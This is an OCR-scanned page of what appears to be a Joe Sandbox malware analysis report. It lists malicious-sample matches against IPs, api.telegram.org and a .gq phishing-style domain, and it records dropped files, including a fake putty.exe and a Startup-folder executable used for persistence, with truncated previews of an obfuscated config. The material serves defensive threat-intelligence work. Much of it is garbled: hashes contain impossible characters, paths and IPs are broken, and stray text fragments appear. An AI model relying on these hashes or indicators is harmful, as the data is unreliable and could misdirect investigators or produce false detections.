SHA 256 Detection Link Context

Get hash malicious Browse e apdocroto
.gq/liverpool-fc-
news/features
Isteven-gerrard-
liverpool-future-
dalglish--goal-
93E4ED364701
8D4BC99F37
F3C112058F
-html

Get hash malicious Browse e apdocroto
.gq/liverpool-fc-
news/features
Isteven-gerrard-
liverpool-future-
dalglish--goal-
957668619917
34398FE50D
371F8B4E91
_html

Get hash malicious Browse e apdocroto
.gg/liverpool-fc-
news/features
/steven-gerrard-
liverpool-future-
dalglish--goal-
848C5FFDE66B
4AA9D6DBIF
C457BA5568
html
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https://view.joesandbox.com/analysis/341460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341460/html/none?idtype=webid
https://view.joesandbox.com/analysis/341456/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341456/html/none?idtype=webid
https://view.joesandbox.com/analysis/340930/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340930/html/none?idtype=webid

Match

149.154.167.220

Domains

Match

api.telegram.org

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash

Associated Sample Name / URL

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

apdocroto
.gg/liverpool-fc-
news/features
Isteven-gerrard-
liverpool-future-
dalglish--goal-
ABATFFAE0798
429F701D0D
12FDO55ADB
html

Context

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220
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https://view.joesandbox.com/analysis/340840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340840/html/none?idtype=webid
https://view.joesandbox.com/analysis/341392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341392/html/none?idtype=webid
https://view.joesandbox.com/analysis/341387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341387/html/none?idtype=webid
https://view.joesandbox.com/analysis/341365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341365/html/none?idtype=webid
https://view.joesandbox.com/analysis/340896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340896/html/none?idtype=webid
https://view.joesandbox.com/analysis/340895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340895/html/none?idtype=webid
https://view.joesandbox.com/analysis/340797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340797/html/none?idtype=webid
https://view.joesandbox.com/analysis/340138/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340138/html/none?idtype=webid
https://view.joesandbox.com/analysis/339915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339915/html/none?idtype=webid
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid
https://view.joesandbox.com/analysis/338582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338582/html/none?idtype=webid
https://view.joesandbox.com/analysis/338577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338577/html/none?idtype=webid
https://view.joesandbox.com/analysis/338544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338544/html/none?idtype=webid
https://view.joesandbox.com/analysis/337506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337506/html/none?idtype=webid
https://view.joesandbox.com/analysis/337041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337041/html/none?idtype=webid
https://view.joesandbox.com/analysis/336349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336349/html/none?idtype=webid
https://view.joesandbox.com/analysis/335864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335864/html/none?idtype=webid
https://view.joesandbox.com/analysis/335713/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335713/html/none?idtype=webid
https://view.joesandbox.com/analysis/335600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335600/html/none?idtype=webid
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid
https://view.joesandbox.com/analysis/335471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335471/html/none?idtype=webid
https://view.joesandbox.com/analysis/341392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341392/html/none?idtype=webid
https://view.joesandbox.com/analysis/341387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341387/html/none?idtype=webid
https://view.joesandbox.com/analysis/341365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341365/html/none?idtype=webid
https://view.joesandbox.com/analysis/340896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340896/html/none?idtype=webid
https://view.joesandbox.com/analysis/340895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340895/html/none?idtype=webid
https://view.joesandbox.com/analysis/340797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340797/html/none?idtype=webid
https://view.joesandbox.com/analysis/340138/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340138/html/none?idtype=webid
https://view.joesandbox.com/analysis/339915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339915/html/none?idtype=webid
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid
https://view.joesandbox.com/analysis/338544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338544/html/none?idtype=webid
https://view.joesandbox.com/analysis/337506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337506/html/none?idtype=webid
https://view.joesandbox.com/analysis/337041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337041/html/none?idtype=webid
https://view.joesandbox.com/analysis/336349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336349/html/none?idtype=webid
https://view.joesandbox.com/analysis/335864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335864/html/none?idtype=webid
https://view.joesandbox.com/analysis/335713/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335713/html/none?idtype=webid
https://view.joesandbox.com/analysis/335600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335600/html/none?idtype=webid
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid
https://view.joesandbox.com/analysis/335471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335471/html/none?idtype=webid
https://view.joesandbox.com/analysis/335297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335297/html/none?idtype=webid

Match

apdocroto.gq
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Match
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Get hash

Detection

malicious

malicious

malicious

malicious

malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

149.154.16
7.220

104.21.14.60
172.67.158.27

104.21.14.60

104.21.14.60
104.21.14.60
104.21.14.60
172.67.158.27

Context

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

95.161.76.100

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

149.154.16
7.220

104.16.19.94
172.67.193.107

162.159.13
0.233

104.21.19.200
104.21.1.82
104.16.18.94

104.20.185.68

104.21.15.48
104.21.19.200
104.21.19.200
104.16.18.94
172.67.206.104
104.21.69.75
172.67.137.101

Page 17 of 63


https://view.joesandbox.com/analysis/334796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334796/html/none?idtype=webid
https://view.joesandbox.com/analysis/341852/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341852/html/none?idtype=webid
https://view.joesandbox.com/analysis/341461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341461/html/none?idtype=webid
https://view.joesandbox.com/analysis/341460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341460/html/none?idtype=webid
https://view.joesandbox.com/analysis/341456/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341456/html/none?idtype=webid
https://view.joesandbox.com/analysis/340930/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340930/html/none?idtype=webid
https://view.joesandbox.com/analysis/340840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340840/html/none?idtype=webid
https://view.joesandbox.com/analysis/339947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339947/html/none?idtype=webid
https://view.joesandbox.com/analysis/341392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341392/html/none?idtype=webid
https://view.joesandbox.com/analysis/341387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341387/html/none?idtype=webid
https://view.joesandbox.com/analysis/341365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341365/html/none?idtype=webid
https://view.joesandbox.com/analysis/340896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340896/html/none?idtype=webid
https://view.joesandbox.com/analysis/340895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340895/html/none?idtype=webid
https://view.joesandbox.com/analysis/340797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340797/html/none?idtype=webid
https://view.joesandbox.com/analysis/340138/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340138/html/none?idtype=webid
https://view.joesandbox.com/analysis/339915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339915/html/none?idtype=webid
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid
https://view.joesandbox.com/analysis/338582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338582/html/none?idtype=webid
https://view.joesandbox.com/analysis/338577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338577/html/none?idtype=webid
https://view.joesandbox.com/analysis/338544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338544/html/none?idtype=webid
https://view.joesandbox.com/analysis/337506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337506/html/none?idtype=webid
https://view.joesandbox.com/analysis/337358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337358/html/none?idtype=webid
https://view.joesandbox.com/analysis/337041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337041/html/none?idtype=webid
https://view.joesandbox.com/analysis/336349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336349/html/none?idtype=webid
https://view.joesandbox.com/analysis/335864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335864/html/none?idtype=webid
https://view.joesandbox.com/analysis/335713/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335713/html/none?idtype=webid
https://view.joesandbox.com/analysis/335600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335600/html/none?idtype=webid
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid
https://view.joesandbox.com/analysis/342046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342046/html/none?idtype=webid
https://view.joesandbox.com/analysis/342044/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342044/html/none?idtype=webid
https://view.joesandbox.com/analysis/342031/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342031/html/none?idtype=webid
https://view.joesandbox.com/analysis/342018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342018/html/none?idtype=webid
https://view.joesandbox.com/analysis/342008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342008/html/none?idtype=webid
https://view.joesandbox.com/analysis/342001/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342001/html/none?idtype=webid
https://view.joesandbox.com/analysis/341993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341993/html/none?idtype=webid
https://view.joesandbox.com/analysis/341988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341988/html/none?idtype=webid
https://view.joesandbox.com/analysis/341965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341965/html/none?idtype=webid
https://view.joesandbox.com/analysis/341957/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341957/html/none?idtype=webid
https://view.joesandbox.com/analysis/341951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341951/html/none?idtype=webid
https://view.joesandbox.com/analysis/341950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341950/html/none?idtype=webid
https://view.joesandbox.com/analysis/341942/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341942/html/none?idtype=webid
https://view.joesandbox.com/analysis/341939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341939/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse 104.21.19.200

_Get hash malicious Browse e 172.67.188.10
_Get hash malicious Browse e 172.67.129.162
_Get hash malicious Browse e 1.00.1
_ Get hash malicious Browse e 23.227.38.74
_Get hash malicious Browse e 104.21.10.13
Minutesof Meetngere

JAS3 Fingerprints

Match Associated Sample Name / URL SHA 256 Detection Link Context

36f7277af969a6947a61ae0b815907al Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Get hash malicious Browse e 149.154.16
7.220

Dropped Files

No context

Created / dropped Files

Process: C:\Users\user\AppData\Roaming\putty.exe

File Type: Microsoft Cabinet archive data, 60080 bytes, 1 file

Category: dropped

Size (bytes): 60080

Entropy (8bit):  7.995256720209506

Encrypted: true

SSDEEP: 768:078WIEbt8RC7GHyP7zpxeiB9jTs6cX8ENCIXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:A8Rc7GHyhUHsVNPOIhbz2E5BPNiUu+g4
MD5: 6045BACCF49E1EBAOE674945311A06E6

SHAL: 379C6234849EECEDE26FAD192C2EE59E0F0221CB
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https://view.joesandbox.com/analysis/341927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341927/html/none?idtype=webid
https://view.joesandbox.com/analysis/341907/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341907/html/none?idtype=webid
https://view.joesandbox.com/analysis/341897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341897/html/none?idtype=webid
https://view.joesandbox.com/analysis/341864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341864/html/none?idtype=webid
https://view.joesandbox.com/analysis/341852/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341852/html/none?idtype=webid
https://view.joesandbox.com/analysis/341839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341839/html/none?idtype=webid
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339891/html/none?idtype=webid
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335581/html/none?idtype=webid
https://view.joesandbox.com/analysis/335297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335297/html/none?idtype=webid
https://view.joesandbox.com/analysis/333936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/333936/html/none?idtype=webid
https://view.joesandbox.com/analysis/333267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/333267/html/none?idtype=webid
https://view.joesandbox.com/analysis/332605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/332605/html/none?idtype=webid
https://view.joesandbox.com/analysis/327071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/327071/html/none?idtype=webid
https://view.joesandbox.com/analysis/327018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/327018/html/none?idtype=webid
https://view.joesandbox.com/analysis/326272/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/326272/html/none?idtype=webid
https://view.joesandbox.com/analysis/326271/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/326271/html/none?idtype=webid
https://view.joesandbox.com/analysis/326257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/326257/html/none?idtype=webid
https://view.joesandbox.com/analysis/326243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/326243/html/none?idtype=webid
https://view.joesandbox.com/analysis/325093/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/325093/html/none?idtype=webid
https://view.joesandbox.com/analysis/324288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/324288/html/none?idtype=webid
https://view.joesandbox.com/analysis/321958/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321958/html/none?idtype=webid
https://view.joesandbox.com/analysis/319867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319867/html/none?idtype=webid
https://view.joesandbox.com/analysis/319404/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319404/html/none?idtype=webid
https://view.joesandbox.com/analysis/318024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/318024/html/none?idtype=webid
https://view.joesandbox.com/analysis/313804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313804/html/none?idtype=webid
https://view.joesandbox.com/analysis/313641/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/313641/html/none?idtype=webid

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0OD0E0426DC8F8008506 E

SHA-256:
SHA-512:

Malicious:

Preview:

65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58

DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BAOA213B5B4AADEDE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789AB
EB

false

MSCF.....cc.... e | IR [« RUVUN R9b .authroot.stl.3..).4..CK..8T....c_.d....A.K...]. M$[v.4.)7-.%.QIR..$t)Kd.-[.. T\{..ne.... {.<....... Ab.<.X...sh....e.... dbu.3...0......
.X..00&Z....C...p0.}..2..0m.}..C}j.9U..J.j.Y..#.L.\X..O.,...,.qu..].(B.nE~Q...)..Gcx.....}..f....zZw.a..9+[.<0."..2 .s..ya..J.....wd....OO!s.....WA...F6._f....6...9..2..7.%,... X k..&.
LE..g....>uvlllllxe......C..2....P0$.Y . .?u....Z0.g3.>WO0&.y .(....]. >... .R.q.wg*X......qB!.B....Z.4..>.R.M..0.8...=.8..Yass.......add..).. w.4.&.2...2.&74.5]..w.j.._iK..|[|.w.M.I<-

.}%.C<tDX5\s.
3.9.1.°D..ei...

L<RfAc.xM. <A.... 1{r.Q...&... X..C$....€9....VL.X.R4...L......%q@...<..}{....E8SI...E".h..*........ ItVs.K.....
ga.v.~.q...{.IN.b]x..Zx.../;#}.f.)k.c9..{rmPt..z5.m=..q..%.D#<+Ex....1|.._F.

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\AppData\Roaming\putty.exe

data

dropped

328

3.0833108895570884

false
6:kKVzdie8N+SkQIPIEGYRMY9z+4KIDA3RUeWIK1MMx:Pi8KPIE99SNXxAhUe30Mx
F2A09726F7ABEC24C9A5ESAEBD5SE3420
78B2B14AD9837E02FB565D6D399A772928F57578
65A8ECB1737344B70CFC0911F3216C94B95167FBD29EAD7AATF7FB9163912662
1AADFF1A74074C451ADEF98242FE97620D1AB6046763069A6ECAECI66F95F7A176C7DCIAB1028272D39EBC4208127AC6E68149E81E674B2EE2DB53DB9179B9E

false

Pevier s CtD (e L& http..//ctldl.window.s.up.date..com/ms.dow.nlo.ad/up.datelv.3./
s.tatic/trustedr/en/authro.otstl.cab.."0.9.0.e.6.cfe3.4.cd7.1.:0. ..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn4lofdd.exe
XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

1024546

3.1269035822105082

false

12288:BctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqlx+w83faMWJInB+u:f7xnEiqMYilB
798E75EAFE7531DB0O3EE356154FA97CC

C9CBB78C0FB1387869EA1428FDFA5DD3870E1959
7E48B79189580C30D6F6F3F319B5D7611EDOC1E82F0EQE742752EAG6F729297FC

514A341F3FB8A08991DIFOA3F7EA678766B33219F869651E217CB2D19BAF48B8643D86D094A1818A8BECD50EFBIBSAIAD2A2AFCD2CCDBY0830A91B2DB22EEG
7

false

<?xml version="1.0" encoding="utf-8"?>..<configuration>..  <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup,
System, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xEDI9D__xEDA1__xEDCD__xE
DD5__xEDC2_.. " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" all
owExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <_XED9B__xED9A__ x
EDI9D__XxEDAL__XEDCD__XEDD5__XEDC2_......cccceovvvviviininnns > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>779014403000400025525500184000000064000000

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn4lofdd.exe
UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

3009211

3.101537480832706

false

12288:bctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZG(Ix+w83faMWJInB+9:t7xnEigMYilO
AEE69512FC253C547596763B268A4FCC

DAG9F0854AEB81F359821DCFC869A97EBEG3ACB6
61ED1FDBE4654131418DD9BC6F4A6A38277110A28FAEDB915B511827FC47FC74

66AEOEE6FF3F5C94988863E3EC1BAB83ECAASBES18B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8(
5

false
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Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. ~<configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A__xED9D__xEDA1__xEDCD__x
EDD5__XxEDC2_. ...." type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < xED9B__XED9A
XED9D__xEDA1__ XEDCD__XEDD5__ XEDC2_......ccccevvveieerurrnanee. > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>77901440300040002552550018400000006400000

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn4lofdd.exe
UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

2047947

3.124891610660528

false

12288:bctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqIx+w83faMWJInB+x:t7xnEiqMYil6
8688A6319B37957650EEFC989D9IE4AS0

0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
1B0767B813CC5D8CBECAE6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A

48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACFOADDO1C3ACA0C506681C58F15F3A2493C113DEG3EDD216EEFC63D02B126B9FFFD9670D0DS(
1

false

x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089" >.. <section name="_xED9B__xED9A_xED9D__xEDA1__xEDCD__x
EDD5__ XEDC2_.....coooveuiiiiiiiininns " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < XED9B__XxED9A__
XED9D__xEDA1__ XEDCD__ XEDD5__ XEDC2_......cccvvviviriueannanen. > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>77 90144030004 0002552550018400000006400000

C:\Users\user\AppData\Roaming\putty.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

3009211

3.101537480832706

false
12288:bctS2q8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqlx+w83faMWJInB+9:t7xnEigMYilO
AEE69512FC253C547596763B268A4FCC

DAGIF0854AEB81F359821DCFC869A97EBE63ACB6
61ED1FDBE4654131418DD9BC6F4A6A38277110A28F4EDBI915B511827FCA47FC74

66AEOEE6FF3F5C94988863E3EC1BAB83ECA4ASBE818B41F184622C7EE6DC239BB2D0F4462E03B3316A61582E290EC171CA23677CB204FCAC6654E7FB4C361F8(
5

false

x<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSetting
sGroup, System, Version=4.0.0.0, Culture=neutral, PublickeyToken=b77a5c561934e089" >.. <section name="_xED9B__XED9A__xED9D__xEDA1__xEDCD__x
EDD5__XEDC2_.....ccccooovviviinicinnnns " type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. < XED9B__xED9A__
XED9D__XEDA1__xEDCD__XEDD5__XEDC2_.......cccccvuvrurnnnne > <setting name="C67953dg5a6Dd0e33Yasd092Wxf9ocbrUioK" serializeAs="String">..
<value>77 90144030004 0002552550018400000006400000

C:\Users\user\AppData\Roaming\putty.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

2047947

3.124891610660528

false
12288:bctS2g8xGSRkhj3N5PQf4accceBReHwq2LtwN+KzzYBUVEZGqIx+w83faMWJInB+x:t7xnEiqMYil6
8688A6319B37957650EEFC989DIE4AS0

0C28D1262DBBFC6B7AF36A9C63A4D952F8DB1312
1B0767B813CC5D8C8ECAE6F44B0B336A5423064F8B7CAD2D56A61D51A8997C7A

48033BF16EDF82271EFCADAB4F48C71F6D1C4963E64871834ACFOADDO1C3ACAOC506681C58F15F3A2493C113DEG3EDD216EEFC63D02B126B9FFFD9670D0DS(
1

false
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Preview:
